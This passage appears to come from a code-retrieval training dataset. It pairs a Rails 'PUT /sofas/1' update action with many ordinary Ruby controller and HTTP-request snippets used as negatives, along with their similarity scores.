"def create\n @cso = Cso.new(params[:cso])\n\n respond_to do |format|\n if @cso.save\n flash[:notice] = 'Cso was successfully created.'\n format.html { redirect_to(@cso) }\n format.xml { render :xml => @cso, :status => :created, :location => @cso }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cso.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_should_create_link_via_API_XML\r\n get \"/logout\"\r\n post \"/links.xml\", :api_key=>'testapikey',\r\n :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response :created\r\n end",
"def create\n @solicitador = Solicitador.new(solicitador_params)\n\n respond_to do |format|\n if @solicitador.save\n format.html { redirect_to @solicitador, notice: 'Solicitador was successfully created.' }\n format.json { render :show, status: :created, location: @solicitador }\n else\n format.html { render :new }\n format.json { render json: @solicitador.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_service(service={})\n request :post, '/services', service\n end",
"def post endpoint, data\n do_request :post, endpoint, data\n end",
"def new\n @tso = Tso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tso }\n end\n end",
"def create\n @sunsystem = Sunsystem.new(sunsystem_params)\n\n respond_to do |format|\n if @sunsystem.save\n format.html { redirect_to @sunsystem, notice: 'Sunsystem was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sunsystem }\n else\n format.html { render action: 'new' }\n format.json { render json: @sunsystem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sintoma = Sintoma.new(sintoma_params)\n\n respond_to do |format|\n if @sintoma.save\n format.html { redirect_to @sintoma, notice: 'Sintoma was successfully created.' }\n format.json { render :show, status: :created, location: @sintoma }\n else\n format.html { render :new }\n format.json { render json: @sintoma.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sitio_entrega = SitioEntrega.new(params[:sitio_entrega])\n\n respond_to do |format|\n if @sitio_entrega.save\n format.html { redirect_to @sitio_entrega, notice: 'Sitio entrega was successfully created.' }\n format.json { render json: @sitio_entrega, status: :created, location: @sitio_entrega }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sitio_entrega.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @viviendasusadasestado = Viviendasusadasestado.new(params[:viviendasusadasestado])\n\n respond_to do |format|\n if @viviendasusadasestado.save\n format.html { redirect_to(@viviendasusadasestado, :notice => 'Viviendasusadasestado was successfully created.') }\n format.xml { render :xml => @viviendasusadasestado, :status => :created, :location => @viviendasusadasestado }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @viviendasusadasestado.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n \n \n @usuario = Usuario.create(params[:usuario])\n @[email protected]\n\n #@evento = Evento.new(params[:evento])\n respond_to do |format|\n if @usuario.save\n format.html { redirect_to(@usuario, :notice => t('exito') ) }\n format.xml { render :xml => @usuario, :status => :created, :location => @usuario }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @usuario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\n @bus_service = BusService.new(params[:bus_service])\n respond_to do |format|\n if @bus_service.save\n format.html { redirect_to(@bus_service, :notice => 'BusService was successfully created.') }\n format.xml { render :xml => @bus_service, :status => :created, :location => @bus_service }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bus_service.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @socio = Socio.new(socio_params)\n\n respond_to do |format|\n if @socio.save\n format.html { redirect_to @socio, notice: 'Socio criado com sucesso.' }\n format.json { render :show, status: :created, location: @socio }\n else\n format.html { render :new }\n format.json { render json: @socio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @estudiante = Estudiante.new(params[:estudiante])\n\n respond_to do |format|\n if @estudiante.save\n flash[:notice] = 'Creado.'\n format.html { redirect_to(@estudiante) }\n format.xml { render :xml => @estudiante, :status => :created, :location => @estudiante }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estudiante.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @samochod = Samochod.new(samochod_params)\n\n respond_to do |format|\n if @samochod.save\n format.html { redirect_to @samochod, notice: 'Samochod was successfully created.' }\n format.json { render :show, status: :created, location: @samochod }\n else\n format.html { render :new }\n format.json { render json: @samochod.errors, status: :unprocessable_entity }\n end\n end\n end",
"def http_post(request, response)\n path = request.path\n\n # Only handling xml\n content_type = request.header('Content-Type')\n return nil unless content_type.index('application/xml') || content_type.index('text/xml')\n\n # Making sure the node exists\n begin\n node = @server.tree.node_for_path(path)\n rescue Dav::Exception::NotFound\n return nil\n end\n\n request_body = request.body_as_string\n\n # If this request handler could not deal with this POST request, it\n # will return 'null' and other plugins get a chance to handle the\n # request.\n #\n # However, we already requested the full body. This is a problem,\n # because a body can only be read once. This is why we preemptively\n # re-populated the request body with the existing data.\n request.body = request_body\n\n document_type_box = Box.new('')\n message = @server.xml.parse(request_body, request.url, document_type_box)\n document_type = document_type_box.value\n\n case document_type\n # Dealing with the 'share' document, which modified invitees on a\n # calendar.\n when \"{#{Plugin::NS_CALENDARSERVER}}share\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-calendar-share'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.update_shares(message.set, message.remove)\n\n response.status = 200\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n # The invite-reply document is sent when the user replies to an\n # invitation of a calendar share.\n when \"{#{Plugin::NS_CALENDARSERVER}}invite-reply\"\n\n # This only works on the calendar-home-root node.\n return true unless node.is_a?(CalendarHome)\n\n @server.transaction_type = 'post-invite-reply'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n url = node.share_reply(\n message.href,\n message.status,\n message.calendar_uri,\n message.in_reply_to,\n message.summary\n )\n\n response.status = 200\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n if url\n writer = @server.xml.writer\n writer.open_memory\n writer.start_document\n writer.start_element(\"{#{Plugin::NS_CALENDARSERVER}}shared-as\")\n writer.write(Dav::Xml::Property::Href.new(url))\n writer.end_element\n response.update_header('Content-Type', 'application/xml')\n response.body = writer.output_memory\n end\n\n # Breaking the event chain\n return false\n when \"{#{Plugin::NS_CALENDARSERVER}}publish-calendar\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-publish-calendar'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.publish_status = true\n\n # iCloud sends back the 202, so we will too.\n response.status = 202\n\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n when \"{#{Plugin::NS_CALENDARSERVER}}unpublish-calendar\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-unpublish-calendar'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.publish_status = false\n\n response.status = 200\n\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n end\n end",
"def create\n puts \"CREATE!!!!!!!!!!!!!!!!!11\"\n puts \"params[:s]: #{params[:s]}\"\n @segnalazione = Segnalazione.new(params[:segnalazione])\n\n respond_to do |format|\n if @segnalazione.save\n format.html { redirect_to(@segnalazione, :notice => 'Segnalazione inserita con successo.') }\n format.xml { render :xml => @segnalazione, :status => :created, :location => @segnalazione }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @segnalazione.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @estudiante = Estudiante.new(params[:estudiante])\n\n respond_to do |format|\n if @estudiante.save\n format.html { redirect_to(@estudiante, :notice => 'Estudiante was successfully created.') }\n format.xml { render :xml => @estudiante, :status => :created, :location => @estudiante }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estudiante.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @supervisor_estagio = SupervisorEstagio.new(params[:supervisor_estagio])\n\n respond_to do |format|\n if @supervisor_estagio.save\n flash[:notice] = 'Supervisor de Estagio cadastrado com sucesso.'\n format.html { redirect_to(@supervisor_estagio) }\n format.xml { render :xml => @supervisor_estagio, :status => :created, :location => @supervisor_estagio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @supervisor_estagio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post\n response = HTTParty.post(servlet_url,\n :body => to_xml,\n :headers => { 'Content-Type' => 'application/xml' }\n ).response\n\n return Dhl::Shipment::Response.new(response.body)\n rescue Exception => e\n request_xml = if @to_xml.to_s.size>0\n @to_xml\n else\n '<not generated at time of error>'\n end\n\n response_body = if (response && response.body && response.body.to_s.size > 0)\n response.body\n else\n '<not received at time of error>'\n end\n\n log_level = if e.respond_to?(:log_level)\n e.log_level\n else\n :critical\n end\n\n log_request_and_response_xml(log_level, e, request_xml, response_body )\n raise e\n end",
"def create\n @stinsfo = Stinsfo.new(stinsfo_params)\n\n respond_to do |format|\n if @stinsfo.save\n format.html { redirect_to @stinsfo, notice: 'Stinsfo was successfully created.' }\n format.json { render :show, status: :created, location: @stinsfo }\n else\n format.html { render :new }\n format.json { render json: @stinsfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @asiento_de_servicio = AsientoDeServicio.new(asiento_de_servicio_params)\n\n respond_to do |format|\n if @asiento_de_servicio.save\n format.html { redirect_to @asiento_de_servicio, notice: 'Asiento de servicio was successfully created.' }\n format.json { render :show, status: :created, location: @asiento_de_servicio }\n else\n format.html { render :new }\n format.json { render json: @asiento_de_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @solicitacao_tipo = SolicitacaoTipo.new(solicitacao_tipo_params)\n\n respond_to do |format|\n if @solicitacao_tipo.save\n format.html { redirect_to @solicitacao_tipo, notice: 'Solicitacao tipo was successfully created.' }\n format.json { render action: 'show', status: :created, location: @solicitacao_tipo }\n else\n format.html { render action: 'new' }\n format.json { render json: @solicitacao_tipo.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.5876333",
"0.5798304",
"0.5752192",
"0.5694845",
"0.5578559",
"0.5573724",
"0.54499465",
"0.5413117",
"0.539831",
"0.5397936",
"0.53873575",
"0.5383198",
"0.5369998",
"0.5359845",
"0.5348144",
"0.53442585",
"0.5329538",
"0.5329406",
"0.53174525",
"0.5299035",
"0.5264957",
"0.52603656",
"0.5253659",
"0.524719",
"0.5226214",
"0.521698",
"0.52092934",
"0.5207008",
"0.51851135",
"0.51812845",
"0.5178482",
"0.51615375",
"0.5160044",
"0.515694",
"0.51565915",
"0.51560944",
"0.51512176",
"0.51433444",
"0.51430297",
"0.5125401",
"0.51244473",
"0.5119127",
"0.511129",
"0.51112646",
"0.51107365",
"0.51065266",
"0.510539",
"0.5103158",
"0.51029503",
"0.5099678",
"0.5099414",
"0.5094282",
"0.5093791",
"0.50771254",
"0.5071998",
"0.50710183",
"0.50703424",
"0.5067368",
"0.50661564",
"0.5063634",
"0.5063299",
"0.50556755",
"0.50517815",
"0.5046878",
"0.50395197",
"0.50394785",
"0.5038942",
"0.50354004",
"0.5029444",
"0.5026908",
"0.5025052",
"0.5023093",
"0.50219095",
"0.5016818",
"0.50143546",
"0.5014283",
"0.5004547",
"0.50028855",
"0.5001814",
"0.49897277",
"0.49799693",
"0.4974178",
"0.49703157",
"0.49685934",
"0.496189",
"0.4957446",
"0.49549088",
"0.49512044",
"0.49507195",
"0.4947127",
"0.49466014",
"0.4945468",
"0.4944184",
"0.49429092",
"0.49379522",
"0.49376202",
"0.49364713",
"0.49350566",
"0.49296665",
"0.4925121"
] | 0.67419326 | 0 |
PUT /sofas/1 PUT /sofas/1.xml | def update
@sofa = Sofa.find(params[:id])
respond_to do |format|
if @sofa.update_attributes(params[:sofa])
flash[:notice] = 'Sofa was successfully updated.'
format.html { redirect_to(@sofa) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @sofa.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def update\n @tso = Tso.find(params[:id])\n\n respond_to do |format|\n if @tso.update_attributes(params[:tso])\n flash[:notice] = 'Tso was successfully updated.'\n format.html { redirect_to(@tso) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tso.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @solexame.update(solexame_params)\n flash[:notice] = 'Solicitação foi alterada com sucesso.'\n format.html { redirect_to(@solexame) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @solexame.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def update\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n if @sitio.update_attributes(params[:sitio])\n format.html { redirect_to(@sitio, :notice => 'Sitio was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sitio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end",
"def put!\n request! :put\n end",
"def update\n @nossos_servico = NossosServico.find(params[:id])\n\n respond_to do |format|\n if @nossos_servico.update_attributes(params[:nossos_servico])\n format.html { redirect_to(@nossos_servico, :notice => 'Nossos servico was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @nossos_servico.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @sofa = Sofa.new(params[:sofa])\n\n respond_to do |format|\n if @sofa.save\n flash[:notice] = 'Sofa was successfully created.'\n format.html { redirect_to(@sofa) }\n format.xml { render :xml => @sofa, :status => :created, :location => @sofa }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sofa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @oase = Oasis.find(params[:id])\n\n respond_to do |format|\n if @oase.update_attributes(params[:oase])\n format.html { redirect_to @oase, notice: 'Oasis was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @oase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def put(path = '/files/', params = {})\n request :put, path, params\n end",
"def update\n @estagio = Estagio.find(params[:id])\n\n respond_to do |format|\n if @estagio.update_attributes(params[:estagio])\n flash[:notice] = 'Estagio was successfully updated.'\n format.html { redirect_to(@estagio) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estagio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @inventario = Inventario.find(params[:id])\n @foto = @inventario.foto\n \n @service = InventarioService.new(@inventario, @foto)\n respond_to do |format|\n\n if @inventario.update_attributes(params[:inventario],params[:foto_file])\n format.html { redirect_to(@inventario, :notice => 'Inventario was successfully updated.') }\n format.xml { head :ok }\n else\n\t @foto = @service.foto\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inventario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @socio_serasa.update(socio_serasa_params)\n format.html { redirect_to @socio_serasa, notice: 'Socio serasa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @socio_serasa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @osoba = Osoba.find(params[:id])\n\n if @osoba.update(params[:osoba])\n head :no_content\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end",
"def update\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n if @socio.update_attributes(params[:socio])\n format.html { redirect_to @socio, :notice => 'Socio atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @socio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @senhas = Senha.find(params[:id])\n\n respond_to do |format|\n if @senhas.update_attributes(params[:senha])\n flash[:notice] = 'SENHA SALVA COM SUCESSO.'\n format.html { redirect_to(senhas_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @senhas.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @sofa = Sofa.find(params[:id])\n @sofa.destroy\n\n respond_to do |format|\n format.html { redirect_to(sofas_url) }\n format.xml { head :ok }\n end\n end",
"def update\n @sabio = Sabio.find(params[:id])\n\n respond_to do |format|\n if @sabio.update_attributes(params[:sabio])\n format.html { redirect_to @sabio, notice: 'El Sabio fue actualizado.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sabio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n request :put, *args\n end",
"def update\n respond_to do |format|\n if @soap.update(soap_params)\n format.html { redirect_to @soap, notice: 'Soap was successfully updated.' }\n format.json { render :show, status: :ok, location: @soap }\n else\n format.html { render :edit }\n format.json { render json: @soap.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def update\n respond_to do |format|\n if @documentos_simposio.update(documentos_simposio_params)\n format.html { redirect_to @documentos_simposio, notice: 'Documentos simposio was successfully updated.' }\n format.json { render :show, status: :ok, location: @documentos_simposio }\n else\n format.html { render :edit }\n format.json { render json: @documentos_simposio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @salle = Salle.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @salle.update_attributes(params[:salle])\r\n format.html { redirect_to @salle, notice: 'Salle was successfully updated.' }\r\n format.json { head :ok }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @salle.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @spaethi = Spaethi.find(params[:id])\n\n respond_to do |format|\n if @spaethi.update_attributes(params[:spaethi])\n format.html { redirect_to @spaethi, notice: 'Spaethi was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spaethi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @st_pi = StPi.find(params[:id])\n\n respond_to do |format|\n if @st_pi.update_attributes(params[:st_pi])\n flash[:notice] = 'PIS atualizado.'\n format.html { redirect_to(@st_pi) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @st_pi.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @spi.update(spi_params)\n format.html { redirect_to @spi, notice: 'Spi was successfully updated.' }\n format.json { render :show, status: :ok, location: @spi }\n else\n format.html { render :edit }\n format.json { render json: @spi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @spouse = Spouse.find(params[:id])\n\n respond_to do |format|\n if @spouse.update_attributes(params[:spouse])\n flash[:notice] = 'Spouse was successfully updated.'\n format.html { redirect_to(@spouse) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spouse.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n params.permit!\n @silo = Silo.find(params[:id])\n\n respond_to do |format|\n if @silo.update_attributes(params[:silo])\n format.html { redirect_to(@silo, :notice => 'Silo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @silo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(path, doc = nil, options = {})\n execute('PUT', path, options, doc)\n end",
"def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
"def update\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n if @sitio.update_attributes(params[:sitio])\n format.html { redirect_to @sitio, notice: 'Sitio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sitio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n if @socio.update_attributes(params[:socio])\n format.html { redirect_to @socio, notice: 'Socio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @socio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @estatu = Estatu.find(params[:id])\n\n respond_to do |format|\n if @estatu.update_attributes(params[:estatu])\n format.html { redirect_to(@estatu, :notice => 'Registro actualizado correctamente.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estatu.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def update\n @spiel = Spiel.find(params[:id])\n\n respond_to do |format|\n if @spiel.update_attributes(params[:spiel])\n format.html { redirect_to(@spiel, :notice => 'Spiel was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spiel.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def _update(type, current_name, metadata={})\n type = type.to_s.camelize\n request :update do |soap|\n soap.body = {\n :metadata => {\n :current_name => current_name,\n :metadata => prepare(metadata),\n :attributes! => { :metadata => { 'xsi:type' => \"ins0:#{type}\" } }\n }\n }\n end\n end",
"def update\n @tiposproceso = Tiposproceso.find(params[:id])\n\n respond_to do |format|\n if @tiposproceso.update_attributes(params[:tiposproceso])\n format.html { redirect_to(@tiposproceso, :notice => 'Tiposproceso was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tiposproceso.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def test_putpoi_update_valid\n nd = create(:node)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 1, result[4]\n\n # Now try to update again, with a different lat/lon, using the updated version number\n lat = nd.lat + 0.1\n lon = nd.lon - 0.1\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", cs_id, nd.version + 1, nd.id, lon, lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 2, result[4]\n end",
"def update\n @sa = Sa.find(params[:id])\n\n respond_to do |format|\n if @sa.update_attributes(params[:sa])\n format.html { redirect_to(@sa, :notice => 'Sa was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end",
"def update\n @sistema = Sistema.find(params[:id])\n\n respond_to do |format|\n if @sistema.update_attributes(params[:sistema])\n format.html { redirect_to @sistema, notice: 'Sistema was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sistema.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(path, options={})\n request :put, path, options\n end",
"def update\n @sti = Sti.find(params[:id])\n\n respond_to do |format|\n if @sti.update_attributes(params[:sti])\n flash[:notice] = 'Sti was successfully updated.'\n format.html { redirect_to(@sti) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sti.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(path, parameters = {})\n request(:put, path, parameters)\n end",
"def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @solicitud_servicio = SolicitudServicio.find(params[:id])\n\n respond_to do |format|\n if @solicitud_servicio.update_attributes(params[:solicitud_servicio])\n format.html { redirect_to @solicitud_servicio, notice: 'Solicitud servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @solicitud_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @supervisor_estagio = SupervisorEstagio.find(params[:id])\n\n respond_to do |format|\n if @supervisor_estagio.update_attributes(params[:supervisor_estagio])\n flash[:notice] = 'Supervisor de Estagio atualizado com sucesso.'\n format.html { redirect_to(@supervisor_estagio) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @supervisor_estagio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n @segmento = Segmento.find(params[:id])\n\n respond_to do |format|\n if @segmento.update_attributes(params[:segmento])\n flash[:notice] = 'Segmento was successfully updated.'\n format.html { redirect_to(@segmento) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @segmento.errors, :status => :unprocessable_entity }\n end\n end\n end",
